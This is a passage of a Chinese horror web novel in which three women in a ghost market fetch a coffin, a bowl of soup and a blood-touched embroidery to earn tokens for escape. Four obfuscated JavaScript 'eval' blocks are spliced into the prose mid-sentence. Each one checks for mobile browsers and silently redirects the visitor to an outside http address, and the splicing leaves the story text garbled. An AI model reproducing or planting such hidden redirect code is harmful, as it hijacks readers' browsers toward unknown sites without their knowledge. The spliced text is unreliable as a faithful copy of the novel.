还未走几步，周围的灯火倏尔熄灭，天地一片黑暗，白媜心中一凛，左右环顾，发现自己置身于一座拱桥上，而小吃摊就在桥头不远处，桥尾则被一团红色浓雾笼罩。 她当即立断，往桥头跑去，耳边传来一阵凄厉的怨鬼哭嚎声，听声音是从桥下传来的！ 她忍不住往桥下望去，原本漆黑的河水竟染上一片血红，血水翻滚，有无数骷髅骨架从血水中钻出，白骨森森的手抓住桥墩，正在往上爬！ 她加快脚步，眼看就要跑到桥头，只听“咚”一声，她手中的汤碗摇晃了一下，她吓得低头望去，见汤碗不断振动着，好像有什么东西在里面左冲右撞。 怎么可能，这碗里只有热汤啊…白媜遍体生寒，紧紧盯着手中的汤碗，脑海中涌出无数个念头… 要不要打开碗盖看看？还没等她作出决定，已经有一个骷髅骨架爬到桥上，口中不断发出哭嚎声，逐渐向她逼近。 与此同时，她手里又传来“咚”一声，汤碗的碗盖被掀开，有一只血肉模糊的手从里面伸出，一下抓住了她的衣襟！ “啊！！！！”她吓得松开双手，手中的汤碗摔落在地。 汤碗在坚硬的桥面摔成了碎片，汤水流淌一地，抓住她衣襟的血手已然消失不见。 桥面上爬行的骷髅，桥下涌动的血水都隐没在一片黑暗中，紧接着灯笼一盏接着一盏亮起，驱散黑暗，照亮了她眼前的景物，她发现自己回到了小吃摊旁。 鹤发童颜的“老婆婆”依旧站在大锅前，手握长勺搅动着热汤，她似是察觉到白媜回来了，抬头望向她，露出一丝古怪的笑容：“姑娘，还想再要一碗汤吗？” 白媜轻抚胸口，试图稳下狂跳的心脏，她刚刚为什么会出现在桥上…还看到那样一副可怕景象？是幻觉吗？ 韩舟告诉过她，这里的鬼怪会制造幻觉，侵蚀人的意识，唯有意志坚定才能不被影响。 刚才定是鬼怪想要阻挠她，不想让她将汤带回当铺！ 是眼前这个老婆婆吗？白媜又上下打量了她一番，随后又取出一叠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975329|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纸钱：“请再给我一碗热汤。” “好，姑娘稍等。”老婆婆又给她勺了一碗热汤，不知道是不是错觉，白媜觉得这次的汤水有些发红。 白媜深吸一口气，用丝帕裹住汤碗，往前走了几步，果不其然，还没离开小吃摊多远，她又回到了拱桥上。 桥下依旧是血水翻涌，怨鬼哭嚎，许多骷髅骨架竞相往桥上爬，这次它们攀爬的速度似乎比之前要快很多，不一会儿就趴在了桥面上。 白媜手中的汤碗也适时振动了起来，是刚才那只血手要破碗而出？想到这，她立即闭上眼，按照韩舟教她的默念：“都是假的，都是假的，都是假的…” 随后她朝着红雾弥漫的桥尾走了过去。 她就这么闭着眼走了一路，耳边的鬼哭嚎声消失了，周围安静了下来。 过了一会儿，她缓缓睁开眼，发现自己身处一条幽静狭长的小巷中，小巷出口处有灯火亮光，不时飘来喧闹之声。 出来了！白媜内心一阵欣喜，加快脚步往小巷出口处走去，没走几步，她背后传来一个清脆的女声：“咦，你也是去孟记小吃店买热汤的吗？” 白媜转过身去，发现说话的是一个穿着黑袍戴着木雕面具的人，她身材瘦小，梳着双环髻，手里也端着一个汤碗。 她也是泉先号上的人？ 白媜沉吟片刻，轻轻点了点头。 “太好了。”黑袍女子的声音带上几分欣喜，“我刚刚一个人去买汤可吓死了，那个老婆婆真可怕！好不容易才碰到你这样跟我一样的人，我们一起走吧？”说罢，她亲昵地凑了上来。 白媜上下打量了一番眼前这个黑袍女子，发现她端着汤碗的左手缺了一根小拇指。 “你的手…”白媜犹豫着开口。 “啊…这个啊…”黑袍女子戴着面具的脸低下去，似是看着自己的手，“那个老婆婆说，买汤要收冥币，我没有这玩意儿…她说用身体的一部分交换也行，我就割了小拇指给她…” 黑袍女子说这话的语气很轻松，就跟说“刚才我吃过了”一样，这让白媜忍不住皱了皱眉头，不着痕迹地离她远了点。 黑袍女子察觉到她的疏远，轻笑一声，没有说话，只是往前走。 她们一路走出小巷，二人都沉默不语，暂且相安无事。 又走了一段路程，黑袍女子开口了：“你的汤…能给我看看吗？” “什么？”白媜疑惑地转头看向黑袍女子，见她正看着自己手中的汤碗。 “抱歉，现在不行，等到当铺再说吧…”白媜道，同时警惕地盯着眼前的女子。 黑袍女子却已贴到她身侧，一手轻松地捧着自己的汤碗，一手握住了白媜的胳膊。 白媜感到她的手冰凉刺骨，寒气透过衣袍侵入肌肤，不禁打了个寒颤，使劲甩开了她。 许是她甩手的动作过大，撞得黑袍女子踉跄退后几步，手中的碗没拿稳，摔在地上。 碗摔成了碎片，却没有汤水撒出。 这只碗是空的。 46. 阴阳集市（十七） 阴阳棺材铺的位置很偏，韩舟七拐八绕才找到，铺子外观颇为老旧，门口挂着两盏大红灯笼，在夜色中闪烁着幽幽红光，衬得棺材铺格外阴森诡异。 韩舟想：棺材铺配红灯笼，这场景不闹点鬼都说不过去了。 她推开厚重的木门，发出“吱啦”一声响，一股腐朽阴寒的气息扑面而来。 铺子里点着几支白色香烛，开门瞬间涌进一阵风，烛火在风中摇曳几下，投在地面的光影忽明忽暗。 "店家在吗？"韩舟喊了一声，声音在铺子里回荡，这里空无一人。 韩舟见无人回应，只好自己寻找起了棺材，她环顾四周，见这家店铺的墙壁上布满黑色的污渍，像是什么粘稠液体干涸后留下的印记。 靠墙的地方堆着香烛和花花绿绿的纸人，她特地观察了下纸人的样子，墨水勾勒的眼眶中惨白空洞，没有点睛。 纸人是不能点睛的，否则就会“活”过来。 "姑娘是要买棺材吗？"一个沙哑的声音在韩舟背后响起，她转过身，见一个男子佝偻着背站在她身后，离她只有几步的距离，穿着一件褐色衣衫。 这人声音苍老，弯腰驼背，韩舟以为他是个老人，等看清他的脸后，又感觉他不过才三十岁左右。 韩舟点了点头："是的，我想要一副装着尸体的棺材。" 店主转动混浊的眼珠，上下打量韩舟，缓缓道："姑娘跟我来。" 说完他便向里间走去，韩舟注意到他的脚步轻飘飘的，踩在地上听不到声响。 店主掀开里间门口厚重的帘布，走了进去，韩舟跟在他后面。 里间的空气凉飕飕的，韩舟感觉自己像进了一个巨大的冰柜，案上点着两只白色香烛，地上摆着一排排棺材，都刷着乌黑的漆，在昏暗的烛光下泛着幽光。 店主指着地上的黑漆棺材道："姑娘，这些棺材都是上等的槐木制成，能保尸身百年不腐。" 槐木做棺材？生怕不诈尸是吧？韩舟差点要翻白眼了。 “这些棺材里是哪一副装了尸体？”韩舟目光扫过地上的棺材，感觉它们长得一模一样。 “那就得客官自己找了…”店主咧开嘴笑了笑。 韩舟：…… 店主不再理她，退到里间一处角落里，垂首不语，像个待机的npc。 韩舟无奈，只好绕着里面那几排棺材走了一圈，这些黑漆棺材样式没有区别，看着都是新做的，上面没有一点伤痕，光看外表无法分辨，不过都没有钉上棺钉，她可以随时打开。 但她当然不可能傻到去开棺材，谁知道里面会蹦出个什么鬼玩意儿！ 她思索片刻，走到其中一副棺材前，蜷起手指在棺材板上敲了敲。 声音很脆，里间应该没有东西。 她又敲了敲另一副棺材，依旧发出空无一物的脆响。 她一路敲下去，直到一副棺材发出了闷闷的声音。 好像里面满满当当塞着什么东西。 应该就是这副了，韩舟收回手，抬起头准备呼唤店主。 “店家…”刚喊了两个字，一声轻微的响动从面前这副棺材里发出，像是有什么东西在挠动棺材盖… 韩舟急忙闭上嘴，垂下头仔细倾听，那声音却又消失了。 "姑娘选好了吗？"店主又悄无声息出现在她身后，吓得韩舟一激灵。 这个店主，跟个背后灵似的。 "选好了，就这副。"韩舟指了指面前的棺材。 “姑娘，这副棺材五百冥币，尸体五百冥币，加起来共一千冥币。”店主道。 …怎么尸体还要另外付钱？还跟棺材一样贵？ 韩舟不禁感叹这鬼市越来越荒谬了，她只能从衣袖中取出一叠厚厚的纸钱，大概数了数数量，递给店主，同时又扫了那棺材一眼。 这棺材还挺大的，等会儿也不知道她能不能搬得动… 想到这，她问道：“棺材铺负责运送吗？” 店主脸上露出一丝古怪笑意：“那是另外的价钱。” “…”韩舟又拿出一叠纸钱：“帮我运到街头的当铺。” 店主收下纸钱，嘴角勾了勾：“姑娘稍等。” 他掀开帘布走了出去，不一会儿带着四个“伙计”进来了。 而这四个伙计… 是四个花花绿绿的纸人。 纸人的眼眶里已经点上眼睛，表情似笑似哭，豆大的红色眼睛在眼眶里打转，看着甚是瘆人。 但韩舟已见识过类似的纸人轿夫，只是小小惊讶了一下，就没啥感觉了。 “你们去吧，帮这位姑娘把棺材送到当铺。”店主道。 四个纸人应了一声，走到指定的棺材边，纸糊的腰微微弯折，将棺材抬了起来。 看着很重的棺材，这些纸人居然抬得轻轻松松，走起路来也很稳当，步伐整齐划一，丝毫不乱。 韩舟跟在抬棺的纸人后面，刚走几步，就听到店主说：“对了，姑娘，忘了告诉你…” 她看到店主脸上笑意加深：“那些冥币是付给我的，但这些伙计，还要另给报酬…” 韩舟瞥了他一眼，心想纸钱她有的是。 一副黑漆棺材，四个花花绿绿纸人，加上一个她，走出棺材铺，排场有点大了，街边小贩纷纷向她侧目。 韩舟目不斜视，只一味盯着前面的棺材，街边的小贩似乎对此等场景见怪不怪了，只瞧了她几眼，又继续吆喝自己的生意去了。 韩舟跟在纸人后七拐八绕，拐进一条幽静狭长的小巷，小巷两侧的墙上挂满大红灯笼。 这条路线…对吗？韩舟觉得不对劲，忍不住问道：“你们要去哪？” 前面的纸人停了下来，缓缓将手中棺材放在地上，其中一个转过身来，豆大的暗红色眼珠紧盯着韩舟，它的两颊抹着鲜红的胭脂，身上的衣服是褪色的红纸，嘴是黑色墨水勾画出的，红、白、黑三色分明，搭配在一起有种诡异的和谐。 “我饿了。”这个纸人说道，声音像是从它肚子里钻出来的，带着“嗡嗡嗡”的回音。 “我们也饿了。”其他三个纸人也转过身，齐声说道。 “…”韩舟看着这四个纸人沉默了。 就没听说过纸人喊饿的。 所以纸人饿了该吃什么？墨水？还是… 韩舟思索片刻，淡定开口：“你们想要吃什么？ 眼前这四个纸人墨色的嘴裂了开来，惨白的纸糊脸在红灯笼的照耀下也染上血色。 “血，我们要你的血” “…”韩舟沉默一瞬，随后笑了，“想要我的血？可以啊。” 四个纸人听到此话，嘴越咧越大。 韩舟对着最开始说话的那个纸人勾了勾手指：“过来呀，我给你血。” 那个纸人缓缓向韩舟走了过来，暗红色的眼珠在眼眶里上下跳动，盯着她的脖颈。 纸人走到韩舟面前，咧开大嘴，忽然感到一阵风刮过它的脸颊，一个坚硬的方块状物体狠狠拍了过来，随后它像一只断了线的风筝飞了出去，撞在墙上。 韩舟冲过去，抡起板砖，“哐哐哐”砸了好几下，直到这个纸人真的变成了一张薄纸，才停了下来。 这张薄纸上的墨水胭脂都混在一起，晕染得黑一块红一块的。 韩舟甩了甩砸累的手，斜睨另外三个纸人：“还饿吗？” 另外三个纸人僵立在原地，豆大的眼珠停在眼眶中央不动了，齐齐摇了摇头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991566|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韩舟道：“那还不快去抬棺。” 三个纸人听到她这话，立刻连滚带爬去往棺材边。 “等一下。”韩舟忽然叫住它们，她刚刚又听到棺材里传来轻微响声，像是尖利之物挠棺材盖的声音。 “嘘。”韩舟将手指靠在唇边做了个“噤声”的手势，三个纸人便站住不动了。 小巷陷入一片寂静，棺材里的声响越来越清晰。 一阵凉风吹过，一声闷响传来，棺材板盖被里面的东西缓缓推开，露出的缝隙越来越大… 一只苍白的手从棺材里伸了出来… …… 另一边的绣坊里，方兰的手指引着针线在丝帕上灵活穿梭，她不敢抬头，不敢再看画面会动的屏风，更不敢看洛川的尸体。 她只能专注于手中的绣帕，一针一线，不敢有丝毫懈怠，她有些惧怕绣完，她怕自己绣得不能令“祂”满意，下场和洛川一样…但她又必须尽快完成这绣帕，天亮之前将它带回当铺取得令牌，否则她们可能永远被留在这个鬼地方… 时间一点一滴流逝，每一刻都显得十分漫长，方兰的额头上渗出细密的汗珠，她的手指已经有些酸痛，但她没有一刻停下，汗水顺着她的脸颊流淌，一下落在面前的绣帕上… 恍惚间，她看到绣帕上的图案变了！ 这手帕上绣着的人越看越熟悉，那脸型，那眉眼，好像认识了很久，她怔怔看了半天，发现绣帕上房君的脸，竟然变成了她自己的脸！ 她吓得手一抖，针线落在地上。 “怎么了，姑娘？有什么不妥吗？”紫衣绣娘的声音又响起，飘渺得像是从另一个世界传来。 “没…没什么…”方兰心跳如鼓，她深吸一口气，再往手帕上望去，却见上面的图案又变回房君的模样。 刚才的一切是幻觉吗？ 她只好定了定心神，捡起针线，继续绣下去。 终于，她绣完了最后一针，抬起头，发现紫衣绣娘正站在她面前，脸上带着抹温柔的笑意，在荧光下却显得有些鬼气森森。 “我绣好了。”方兰犹豫了下，开口道。 “这位姑娘，你确定你绣好了吗？”紫衣绣娘淡淡问道，而她这话和之前问洛川的一样。 方兰心中升起一丝寒意，她这么问，是自己哪里绣得不对吗？ 她仔细凝视自己手中的绣帕，上面的房君与墙上画像中的一模一样，漆黑的眼睛，苍白的脸，红色的嘴唇，仿佛活过来一般，正冷冷注视着她。 是哪里不对呢？ 她的手指抚过绣帕上人的眉眼…鼻子…嘴唇…最后，她的目光停在他的嘴唇上。 照在手帕上的光没有白昼的阳光明亮，却也能勉强辨认出丝线的颜色。 这绣嘴唇的丝线是偏黑的那种红。 但她记得房君嘴唇颜色是血红的！红得像刚饮过鲜血一样。 她先是在绣案上的丝线中翻找一番，可红色丝线只有她用过的那一种…她只好看向紫衣绣娘，见对方正定定站在那盯着自己，她鼓起勇气问道：“这丝线…还有别的颜色吗？” 紫衣绣娘的眼神起了一丝波澜，但她面上笑容不变：“很抱歉，所有颜色的丝线都在你这里了。” 方兰不知如何是好，她先是看向绣帕，又看向手中的针线… 看着手上的绣针，她心中一动，是了，她可以用针扎破自己的手指，用流下来的血染红丝线，这样绣出来的嘴唇不就是血红的了！ 她刚将绣针对准自己的手指，又想到了什么，顿住动作。 韩舟告诉她的规矩中有一条：不要被祂发现自己是人类。 如果当着“祂”画像的面流血了，会不会被“祂”发现自己是人呢？ 47. 阴阳集市（十八） 如果自己当着“祂”画像的面流血了，“祂”会发现自己是人吗？ 想到这，方兰缓缓放下手里的绣针。 紫衣绣娘唇角含笑看着她，漆黑的瞳仁深处仿佛藏着漩涡，要将她吞噬殆尽。 方兰捏紧手中的绣帕道：“我还差一点。” 紫衣绣娘眼中闪过一丝失望之色，很快又恢复古井无波：“姑娘最好快些，因为…天就要亮了…” 方兰闻言，心口似压上一块巨石，天就要亮了…天亮后会发生什么？志怪故事中的鬼市天亮就会消失，这仙岛上的“鬼市”也会一样吗，还是…会出现别的更可怕的事？ 方兰可不敢赌，她避开紫衣绣娘的目光，四下打量绣坊思考起对策，不经意间瞥见了画像前的洛川尸体。 方兰只看了一眼，就觉得胃里翻江倒海。 这尸体实在太恶心了！ 等等…尸体… 方兰心中浮现出个想法，她强忍着胃里阵阵翻腾站起来，走到洛川的尸体旁，蹲下身去，一股浓重的血腥味扑面而来。 洛川依旧跪在那，头颅低垂在胸前，脖颈扭曲，脖子上几处窟窿触目惊心，血肉模糊，鲜血浸湿了他的黑色长袍。 方兰侧过头，颤抖着抬起手，将手指伸进洛川脖子上的血窟窿里… 过了片刻，她飞快将手抽了回来，看着沾满鲜血的手指，忍不住干呕起来。 她呕了好几声才停下，深吸一口气，将指腹上的血抹在丝帕上房君的嘴唇上。 随着她指尖轻抹，房君的唇色愈发鲜艳，直至如血般殷红，几滴血珠顺着他的下颌滑落，晕染开来，似一朵妖异的花绽放。 方兰的绣艺本就精湛，此刻房君的唇染上血色，更似活过来了一般，他那双漆黑的眸子正冷冷凝视着她。 恍惚间，方兰竟见丝帕上的房君动了。 他轻舔唇角，将那抹血色卷入唇间，眼眸微眯，露出一丝餍足的笑意，仿佛品尝到了什么极致的美味。 方兰呼吸一滞，险些将丝帕脱手而出。 她慌忙稳下心神，再细看时，房君依旧静静注视着她，唇边依旧一片殷红，仿佛方才那一瞬不过是她的错觉。 她将手帕递到紫衣绣娘面前：“我绣好了。” 紫衣绣娘没有动，目光如毒蛇般缠绕在方兰身上。 片刻后，她缓缓伸手接过绣帕，两指轻捏，将其展开，转向墙上的画像，随后屈膝跪地，姿态恭敬而诡异。 画像上的房君眼珠转动，目光落在绣帕上，嘴角微微扬起。 “姑娘，你绣得很好…”紫衣绣娘冷淡的声音响起。 方兰压在心口的巨石骤然落地，太好了，“祂”满意了！ 刹那间，绣坊内的烛火重新燃起，光芒四溢，照亮了每一处角落。 紫衣绣娘站起身，将绣帕递还给她，方兰飞快接过，转身便欲逃离这令人窒息的绣坊。 “等一下。” 方兰的脚步猛然顿住，心头一紧：难道还不行吗？ “把丝帕和丝线的钱付一下，你就可以离去了。”紫衣绣娘的声音清清淡淡，听不出喜怒。 原来是说这个…方兰松了口气，连忙从怀中取出一叠纸钱递了过去，随后紧紧攥住绣帕，快步走出绣坊。 天幕已染上一抹深蓝，长夜将尽，街上的吆喝声渐渐稀疏，小贩们心不在焉地守在摊边。 方兰朝着当铺方向走去，走着走着，她感到背后凉飕飕的，仿佛有无数道恶意的目光粘在她背上，她不禁加快了脚步。 …… 满地的汤碗碎片泛着冷光，白媜与那黑袍女子相对而立，空气仿佛凝固了一般。 白媜愣了一瞬，随即猛地将手中的汤碗紧紧护在胸前，连退几步。 “你等等……”黑袍女子的声音像是从喉咙深处挤出来的，“我是买了汤，可刚离开摊子，就被人抢走了……” 她的声音越来越低，双手缓缓抬起，托住了脸上的木雕面具。她的左手缺了一根小拇指，断口处隐约可见狰狞的疤痕。她的身体微微颤抖，啜泣声低低传来。 “我不想留在这鬼地方……所以看到你才……对不起，真的对不起……” 不对…白媜蹙起眉头，心中涌起一股异样的寒意，她在说谎。 “如果你的汤被人抢走了，那这汤碗，又是从何而来？” 黑袍女子的身体骤然僵住，啜泣声戛然而止。她缓缓放下双手，面具下的脸隐没在阴影中，过了好一会儿，她从喉咙里发出一声低笑。 “你说的不错，我的汤不是被人抢走了，而是……被我喝了。”黑袍女子笑了起来，声音沙哑而扭曲，仿佛在诉说一件令人愉悦的事。 白媜心头一紧，脑海中猛然浮现出那条规矩…不能吃这里的东西。 “我没钱买汤……”黑袍女子的语气变得麻木，“卖汤的婆婆说，可以用我的一根手指来换……我就切了一根手指给她……”她缓缓抬起左手，断指处的血迹早已干涸。 “我切了手指后，血流不止……真的好疼啊，疼得我受不了……”她忽然急促喘息起来，像是回忆起了那种手指连心的痛苦，“婆婆说，喝一口汤，就能止疼……” “我拿到汤后，就喝了一口……本来只打算喝一口……”她的声音渐渐低了下去，随后又陡然拔高，带着一种疯狂的痴迷，“但那汤太好喝了，我忍不住……就把它全喝完了……” 白媜听着，只觉得脊背发凉，仿佛有一股阴冷的气息从脚底窜上来。她沉默片刻，从袖中掏出一叠纸钱，递了过去，低声道：“你……再去买一碗吧。” 黑袍女子盯着那叠纸钱，笑声渐渐停了下来，面具下的脸微微抬起，似乎在凝视着白媜。 “谢谢……”黑袍女子接过纸钱，缓缓转身，背对白媜，瘦弱的身影格外单薄，仿佛一阵风就能将她吹散。 白媜看着她，忽然想起了什么，手指伸入袖中，摸出一张黄色符纸，那是韩舟给她的。 她心跳加快，向前迈了几步，将符纸轻轻拍在黑袍女子的背上。 符纸触碰到她的瞬间，骤然变得漆黑，似是被什么污秽之物浸染。 黑袍女子缓缓转过头，面具下的眼睛在阴影中闪烁着诡异的光：“怎么了？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15011977|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没……没什么……”白媜强压下心中的恐惧，抱紧怀中的汤碗，脚步不由自主地向后退去。 黑袍女子不再理她，转身快步离去了，嘴里不断念叨着：“汤，我要汤…” 白媜看着黑袍女子离去的背影，喉咙发紧，仿佛被一只无形的手扼住，连呼吸都变得困难。 她不再犹豫，转身向着当铺的方向跑去。 至于那黑袍女子以后会如何……白媜不敢去想，也无法去想。她只知道，自己必须尽快回到当铺。 …… 那只苍白的手从棺材缝隙中缓缓伸出，指尖泛着青灰色，手指弯曲，指甲在棺材板上摩擦，发出“咯吱咯吱”声，听得人头皮发麻。 韩舟屏住呼吸，眼睛死死盯着那只手，手中的板砖握得更紧了。 就说不能用槐木做棺材，看，诈尸了吧！ 下一瞬，棺材板被猛地推开，一个身影从里面坐了起来。 那是一个身着黑色长袍的男子，面容苍白如纸，透着青灰的死气，脖子上赫然有一个血窟窿，他的头颅微微歪斜，看着随时会从肩膀上滚落下来。 韩舟认出了他，他是之前在岸边那群尬吹她的人之一。 他怎么会出现在这副棺材里？看他那副模样，莫非已经化作了鬼怪？ 男子开口说话了，由于脖子的弯折，他的声音断断续续：“姑娘……是你……太好了……没想到……会在这里……遇见你……” 韩舟：…… 她不觉得这是什么好事啊！ 韩舟努力平复心绪，问道：“你怎么会在这副棺材里？” 黑袍男子歪着脑袋，眉头紧锁，似乎在努力回忆：“我……我为什么会在这里……对啊……我为什么会在这里……” 他的声音断断续续，带着一丝丝迷茫。看来他不仅什么都记不清了，甚至没有意识到自己已经死了。 过了片刻，黑袍男子似乎放弃了回忆，空洞的眼睛望向韩舟，声音依旧断断续续：“姑娘……幸好……遇上了你……你能带我……离开鬼市……吗……” 韩舟陷入沉默，即便她愿意帮他，可他如今这副模样，显然已经无法离开这里了。 但她不能直接告诉他真相，在上周目怪谈副本里，也有一些玩家死后化为鬼怪，却依然执拗地以为自己还活着。可一旦他们意识到自己已经死去，便会发狂，攻击别的玩家。 现在，避免冲突才是上策。 韩舟尽量用温和的语气道：“嗯，我会想办法带你出去，你先躺回棺材里，我们先去当铺。” 黑袍男子的眼珠在眼眶里缓缓转动了一圈，似乎在思索着什么。半晌，他低低地应了一声：“好……” 随后，他缓缓躺回了棺材里，还顺手拉上棺材板，一声轻响后，地上只剩下一副冷冰冰的黑漆棺材。 韩舟叹了口气，转向三个僵立在一旁的纸人：“抬棺，回当铺。” 三个纸人如梦初醒，迅速跑到棺材边，熟练地将棺材抬了起来。尽管少了一个纸人，棺材依旧稳稳当当地悬在空中，纸人们的步伐整齐划一，仿佛早已习惯了这种诡异的差事。 48. 阴阳集市（十九） 韩舟跟着三个抬棺的纸人，走出那幽深的小巷。 巷口外，原本喧嚣的长街此刻却显得异常寂静。小贩们停止了吆喝，像木桩子般立在摊位旁，眼珠却随着韩舟的步伐转动。 像是在…等待着某个时机降临。 韩舟忍住不去看那些诡异的目光，只是催促了前面的纸人几句，纸人随即加快脚步。 她跟在纸人后面一路疾行回到当铺，刚到门口，便见一个身着黑色长袍、脸戴木雕面具的人逃命似的狂奔而来，手中紧攥着一方绣帕。 那人一见韩舟，便发出了一声激动的呼喊：“韩姑娘！我拿到东西了。” 是方兰的声音。 韩舟笑了，指了指纸人抬着的黑漆棺材：“我也拿到了。” 方兰还未开口，白媜也恰好赶到了当铺门口。双手小心翼翼地护着怀里的汤碗，她听到方兰和韩舟刚才说的话，轻声说道：“太好了，我们都平安归来。” 韩舟微微点头，目光转向那三个纸人：“抬进去吧，小心些。”纸人闻言，立即抬着黑漆棺材走进当铺。 当铺掌柜端坐在柜台后，手捧黑色封皮的账本，正看得入神。 他察觉到韩舟几人进了门，便将账本轻轻搁在柜台上，脸上浮现出一抹笑意：“三位可是将物件都取来了？” “取来了。”方兰朗声应道，率先将绣帕拍在案上，随即迅速后退几步，像是摆脱了什么可怖之物。 掌柜拾起绣帕，摊在掌心细细端详，微微点了点头。 白媜也缓步上前，将汤碗轻轻放在柜台上。 掌柜揭开碗盖，一股浓郁的香气袅袅升起。他端起汤碗，一饮而尽，随后意犹未尽地舔了舔嘴唇，神情甚是满足。 韩舟指挥纸人将棺材安置在当铺的角落，随后取出三叠纸钱递给它们：“这是你们的报酬，至于那个没来的……你们代它领了吧。” 三个纸人不敢有丝毫异议，接过纸钱，便匆匆退了出去。 掌柜的目光在韩舟身上停留片刻，眼中闪过一丝讶异。 韩舟抬眼望向掌柜：“东西已经齐了，掌柜的，令牌可以给我们了吧。” 掌柜莞尔一笑，道：“自然可以。”他转身步入里间，片刻后捧出一只雕花木匣，置于柜台上打开，匣中整整齐齐地摆放着三枚木雕令牌，旁边还静静躺着一只碧玉葫芦，周身莹润，透着淡淡的光泽。 他将木匣缓缓推向韩舟等人，笑着道：“持此令牌，你们便可安然离开鬼市。不过，我这另有一选择，你们可愿一听？” 韩舟心中生疑，这掌柜不会是想反悔吧？她不动声色地问道：“什么选择？” 掌柜眼中闪过一丝莫测的光芒。他伸手取出那只碧玉葫芦，指尖在上面轻轻摩挲：“你们可曾想过……长生不老？” “长生不老？”三人闻言，彼此对视一眼，眼中皆浮现出惊诧之色。 掌柜嘴角含笑，继续道：“你们已通过了祂设下的考验，祂对你们颇为赏识，愿你们成为祂的信徒与臣民。这葫芦中装的是能令你们长生不老的仙丹。若你们服下此丹，便可留在这仙岛之上，从此逍遥快活，超脱凡尘之苦。” 他的声音低沉，带着种令人心神摇曳的诱惑力。 “长生不老？”韩舟在心里冷笑一声，古往今来，多少帝王将相痴迷于长生之术，最终不过是镜花水月，一场空梦。更别说还有吃含重金属的丹药把自己吃死的…即便眼前这丹药真能令人长生不老…… 她目光落在那碧玉葫芦上，心中涌起一丝寒意。她小时候读过不少神怪故事，其中一个让她到现在还记忆深刻：很久很久以前，有个人向魔鬼许愿自己能长生不老，魔鬼答应了他的愿望，结果他化作一团会蠕动的腐肉，从此求生不得，求死不能。 而且…规则里说了不能吃这里的食物，不能接受任何馈赠，这仙丹是不是也算食物？也算馈赠的一种？ 所以这长生不老药她是万万不敢吃的。 “不必了，我们选择离开鬼市。”韩舟说着目光转向白媜和方兰。二人对着韩舟微微颔首，显然是对她的决定表示赞同。 掌柜闻言，眼中闪过一丝失望，缓缓收回那只碧玉葫芦：“既然如此，你们便拿着令牌速速离去吧。” 韩舟从木匣中取出那三枚令牌，握在手中，想起了什么，问道：“我们只需持这令牌，便可直接走出鬼市？” 掌柜的语气似是有些不耐烦：“持令牌，踏上奈何桥，便可离开仙岛，重返尘世。” “奈何桥？”韩舟几乎以为自己听错了，奈何桥……那不是传说中通往地府的桥吗？这鬼市还有奈何桥，真是要素齐全啊！ “人世即是地狱，你们不愿留在仙界，却偏要选择那地狱……”掌柜长叹一声，摇了摇头，语气中带着几分惋惜。 “奈何桥在何处？”韩舟不为所动，继续追问。 掌柜的目光缓缓转向白媜，意味深长说道：“这位姑娘方才已去过，想必清楚。” 他的话音落下，白媜神色微怔，陷入沉默，似是在回忆什么，片刻后道：“我知道在哪儿了。” 掌柜语气中带着几分深意：“让这位姑娘带你们去吧。记住，天亮之前务必离开，否则……” 他顿了顿，脸上浮现出一抹古怪的笑意：“你们便永远也走不了了。” 这话不用你说…韩舟撇了撇嘴，拿上令牌，对白媜和方兰道：“我们快走。” 临走之前，她看了一眼地上的黑漆棺材，它冷冰冰地躺在那里，没有发出一丝声响，里面的黑袍男子还在静静等待韩舟带他离开鬼市。 韩舟叹了口气：抱歉了。 三人疾步踏出当铺，晚风裹挟着寒意扑面而来。长街两旁，木桩般伫立的小贩们齐刷刷地转过头来看向她们，韩舟只觉得身上仿佛被无数道冰冷的视线钉穿。 空气中弥漫着一股难以言喻的压抑感，整条街道都在无声注视着她们的一举一动。 白媜在前引路，韩舟和方兰紧随其后，朝着孟记小吃摊的方向行去。途中，三人低声交谈，彼此诉说着方才取物件时的种种经历。 韩舟听了方兰的经历，眉头微蹙：“听你所说，房君是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15016529|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的神？可是他明明已经被我拍成灰了…” 